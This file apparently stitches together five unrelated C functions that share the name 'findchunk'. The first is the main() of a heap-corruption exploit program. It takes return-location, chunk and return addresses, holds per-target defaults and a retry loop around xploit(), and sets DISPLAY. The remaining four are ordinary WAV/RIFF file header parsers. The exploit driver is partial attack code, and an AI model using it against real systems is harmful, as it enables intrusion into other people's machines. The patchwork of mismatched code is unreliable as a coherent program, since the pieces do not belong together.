int main(int argc,char **argv) { //college professor is it char *argv[] or char **argv? int c; uint8_t typenum,numtypes; uint8_t i,didit = 0; signal(SIGPIPE,SIG_IGN); for (i = 0; targ[i].name != NULL;i++); numtypes = i; opterr = 0; while ((c = getopt(argc,argv,"R:d:t:r:c:vfbl"))!=EOF) { switch (c) { case 'r': sscanf(optarg,"%p",&retloc); break; case 'c': sscanf(optarg,"%p",&chunkaddr); break; case 'R': sscanf(optarg,"%p",&retaddr); break; case 'v': verbose = 1; break; case 'f': mesg(); if (findchunk()==0) { fprintf(stderr,"[*] found chunk address at (0x%x)\n"NORM,chunkaddr); } else { fprintf(stderr,"[*] coulden't find chunkaddr\n"NORM); } exit(0); case 'b': brute = 1; break; case '?': usage(); break; case 't': typenum = atoi(optarg); didit = 1; if (typenum >= numtypes) { usage(); } break; case 'l': listtypes(); exit(0); break; case 'd': display = optarg; setenv("DISPLAY",optarg,1); break; default: usage(); } } if (!didit) { usage(); } mesg(); if (!chunkaddr) { chunkaddr = targ[typenum].chunkaddr; } if (!retloc) { retloc = targ[typenum].retloc; } if (!retaddr) { retaddr = targ[typenum].retaddr; } fprintf(stderr,"[*] using retloc 0x%x chunkaddr 0x%x retaddr 0x%x\n"NORM,retloc,chunkaddr,retaddr); xploit(); if (!brute) { exit(0); } for (i = 0; i < HOPELESS;i++) { xploit(); //this really inst brut forcing anything its just retrying till our chunkaddr comes back } //into the spot we want it to wich should take like at the max 10 times exit(-1); }
int WaveReadHeader(FILE *wavefile,int *channels,uint32_t *samplerate,int *samplebits,uint32_t *samples,uint32_t *datastart,ErrFunc erf) { static WAVEFORMAT waveformat; static char buffer[BUFFERSIZE]; /* Function is not reentrant.*/ char* ptr; uint32_t databytes; v_erf = erf; /* wwg: Set error reporting function */ if ( fseek(wavefile,0L,SEEK_SET) ) { err("%s",strerror(errno)); /* wwg: Report error */ return WR_BADSEEK; } fread(buffer,BUFFERSIZE,1,wavefile); if ( findchunk(buffer,"RIFF",BUFFERSIZE) != buffer ) { err("Bad format: Cannot find RIFF file marker"); /* wwg: Report error */ return WR_BADRIFF; } if ( !findchunk(buffer,"WAVE",BUFFERSIZE) ) { err("Bad format: Cannot find WAVE file marker"); /* wwg: report error */ return WR_BADWAVE; } ptr = findchunk(buffer,"fmt ",BUFFERSIZE); if ( !ptr ) { err("Bad format: Cannot find 'fmt' file marker"); /* wwg: report error */ return WR_BADFORMAT; } ptr += 4; /* Move past "fmt ".*/ memcpy(&waveformat,ptr,sizeof (WAVEFORMAT)); if ( waveformat.dwSize < (sizeof (WAVEFORMAT) - sizeof (uint32_t)) ) { err("Bad format: Bad fmt size"); /* wwg: report error */ return WR_BADFORMATSIZE; } if ( waveformat.wFormatTag != PCM_WAVE_FORMAT ) { err("Only supports PCM wave format"); /* wwg: report error */ return WR_NOTPCMFORMAT; } ptr = findchunk(buffer,"data",BUFFERSIZE); if ( !ptr ) { err("Bad format: unable to find 'data' file marker"); /* wwg: report error */ return WR_NODATACHUNK; } ptr += 4; /* Move past "data".*/ memcpy(&databytes,ptr,sizeof (uint32_t)); /* Everything is now cool, so fill in output data.*/ *channels = waveformat.wChannels; *samplerate = waveformat.dwSamplesPerSec; *samplebits = waveformat.wBitsPerSample; *samples = databytes / waveformat.wBlockAlign; // sample num *datastart = (uint32_t) ( (ptr + 4) - buffer ); /* *datastart = ((uint32_t) (ptr + 4)) - ((uint32_t) (&(buffer[0]))); */ if ( waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wBlockAlign ) { err("Bad file format"); /* wwg: report error */ return WR_BADFORMATDATA; } if ( waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wChannels / ((waveformat.wBitsPerSample == 16) ? 2 : 1) ) { err("Bad file format"); /* wwg: report error */ return WR_BADFORMATDATA; } return 0; } /* WaveReadHeader*/
WAV *wavopenrfx( FILE *f ) { char inp[16]; unsigned long insize; WAVEFORMATEXTENSIBLE fmt; WAV *wav; WORD bitspsmp; int wavtype; double srate; int fmtread; int i; fread( inp, 4, 1, f ); inp[4] = 0; if ( strcmp( inp, "RIFF" ) ) { fclose( f ); return NULL; } fread( &insize, 4, 1, f ); fread( inp, 4, 1, f ); if ( strcmp( inp, "WAVE" ) ) { fclose( f ); return NULL; } if ( ( insize = findchunk( "fmt ", f ) ) < 0 ) { fclose( f ); return NULL; } wavtype = Wavint; fread( &fmt, sizeof( WAVEFORMATEXTENSIBLE ), 1, f ); fmtread = sizeof( WAVEFORMATEXTENSIBLE ); if ( fmt.Format.wFormatTag != WAVE_FORMAT_EXTENSIBLE ) { fclose( f ); return NULL; } bitspsmp = fmt.Format.wBitsPerSample; srate = fmt.Format.nSamplesPerSec; if ( fmtread != (int)insize ) { fmtread = insize - fmtread; if ( fmtread & 1 ) fmtread++; fseek( f, fmtread, SEEK_CUR ); } if ( ( insize = findchunk( "data", f ) ) < 0 ) { fclose( f ); return NULL; } wav = (WAV*)malloc( sizeof( WAV ) ); wav->f = f; wav->w = 0; wav->fmt = fmt; wav->wavtype = wavtype; wav->smplsz = wavsmplsz( wavtype ); wav->nchannels = fmt.Format.nChannels; wav->data = ftell( f ); wav->size = insize; wav->srate = srate; wav->nsamples = insize / wav->nchannels / wav->smplsz; for ( i = 0; i < 18; i++ ) wav->samples[i] = NULL; wav->issample = 0; fseek( wav->f, wav->data + insize, SEEK_SET ); wav->issample = 0; return wav; }
static int WaveHeaderCheck (char *wave_buf,int* channels, u_long* samplerate, int* samplebits, u_long* samples,u_long* datastart) { static WAVEFORMAT waveformat ; char* ptr ; u_long databytes ; if (findchunk (wave_buf, "RIFF", BUFFERSIZE) != wave_buf) { fprintf(stderr, "Bad format: Cannot find RIFF file marker"); return WR_BADRIFF ; } if (! findchunk (wave_buf, "WAVE", BUFFERSIZE)) { fprintf(stderr, "Bad format: Cannot find WAVE file marker"); return WR_BADWAVE ; } ptr = findchunk (wave_buf, "fmt ", BUFFERSIZE) ; if (! ptr) { fprintf(stderr, "Bad format: Cannot find 'fmt' file marker"); return WR_BADFORMAT ; } ptr += 4 ; /* Move past "fmt ".*/ waveFormatCopy( &waveformat, ptr ); if (waveformat.dwSize != (sizeof (WAVEFORMAT) - sizeof (u_long))) { fprintf(stderr, "Bad format: Bad fmt size"); /* return WR_BADFORMATSIZE ; */ } if (waveformat.wFormatTag != PCM_WAVE_FORMAT) { fprintf(stderr, "Only supports PCM wave format"); return WR_NOTPCMFORMAT ; } ptr = findchunk (wave_buf, "data", BUFFERSIZE) ; if (! ptr) { fprintf(stderr,"Bad format: unable to find 'data' file marker"); return WR_NODATACHUNK ; } ptr += 4 ; /* Move past "data".*/ databytes = LittleEndian_getDW(ptr, 0); /* Everything is now cool, so fill in output data.*/ *channels = waveformat.wChannels; *samplerate = waveformat.dwSamplesPerSec ; *samplebits = waveformat.wBitsPerSample ; *samples = databytes / waveformat.wBlockAlign ; *datastart = (u_long)(ptr) + 4; if (waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wBlockAlign) { fprintf(stderr, "Bad file format"); return WR_BADFORMATDATA ; } if (waveformat.dwSamplesPerSec != waveformat.dwAvgBytesPerSec / waveformat.wChannels / ((waveformat.wBitsPerSample == 16) ? 2 : 1)) { fprintf(stderr, "Bad file format"); return WR_BADFORMATDATA ; } return 0 ; } ; /* WaveHeaderCheck*/
WAV *wavopenrf( FILE *f ) { char inp[16]; long insize; WAVEFORMATEXTENSIBLE fmt; WAV *wav; WORD bitspsmp; int wavtype, rfrq; double srate; int fmtread; int i; int place; fread( inp, 4, 1, f ); inp[4] = 0; if ( strcmp( inp, "RIFF" ) ) { fclose( f ); return NULL; } fread( &insize, 4, 1, f ); fread( inp, 4, 1, f ); if ( strcmp( inp, "WAVE" ) ) { fclose( f ); return NULL; } if ( ( insize = findchunk( "fmt ", f ) ) < 0 ) { fclose( f ); return NULL; } fread( &fmt, sizeof( WAVEFORMAT ), 1, f ); fmtread = sizeof( WAVEFORMAT ); switch ( fmt.Format.wFormatTag ) { case WAVE_FORMAT_PCM: rfrq = 0; wavtype = Wavint; break; case WAVE_FORMAT_FLOAT: rfrq = 1; wavtype = Wavfloat; break; case WAVE_FORMAT_CMPLX: rfrq = 1; wavtype = Wavcmplx; break; case WAVE_FORMAT_CMPLXI: rfrq = 1; wavtype = Wavcmplxi; break; default: fclose( f ); return NULL; break; } fread( &bitspsmp, 2, 1, f ); fmtread += 2; if ( rfrq ) { fread( &srate, 8, 1, f ); fmtread += 8; } else srate = fmt.Format.nSamplesPerSec; if ( wavtype == Wavint && bitspsmp == 8 ) wavtype = Wavchar; if ( fmtread != (int)insize ) { fmtread = insize - fmtread; if ( fmtread & 1 ) fmtread++; fseek( f, fmtread, SEEK_CUR ); } place = ftell( f ); if ( ( insize = findchunk( "data", f ) ) < 0 ) { fclose( f ); return NULL; } wav = (WAV*)malloc( sizeof( WAV ) ); wav->f = f; wav->w = 0; wav->fmt = fmt; wav->wavtype = wavtype; wav->smplsz = wavsmplsz( wavtype ); wav->nchannels = fmt.Format.nChannels; wav->data = ftell( f ); wav->size = insize; wav->srate = srate; wav->nsamples = insize / wav->nchannels / wav->smplsz; for ( i = 0; i < 18; i++ ) wav->samples[i] = NULL; wav->issample = 0; //fseek( wav->f, wav->data + insize, SEEK_SET ); fseek( wav->f, place, SEEK_SET ); if ( ( insize = findchunk( "smpl", f ) ) > 0 ) { char bla[16]; DWORD unity; long fract; wav->issample = 1; fread( bla, 12, 1, f ); fread( &unity, 4, 1, f ); fread( &fract, 4, 1, f ); wav->smplinfo.base = 440.0 * pow( 2.0, ( (double)unity + ( (double)fract / 4.295e9 ) - 69.0 ) / 12.0 ); fread( bla, 16, 1, f ); if ( insize > 36 ) { wav->smplinfo.hasloop = 1; fread( bla, 8, 1, f ); fread( &wav->smplinfo.start, 4, 1, f ); fread( &wav->smplinfo.end, 4, 1, f ); wav->smplinfo.start--; wav->smplinfo.end--; //wav->smplinfo.start /= wav->smplsz; //wav->smplinfo.end /= wav->smplsz; } else wav->smplinfo.hasloop = 0; } else wav->issample = 0; return wav; }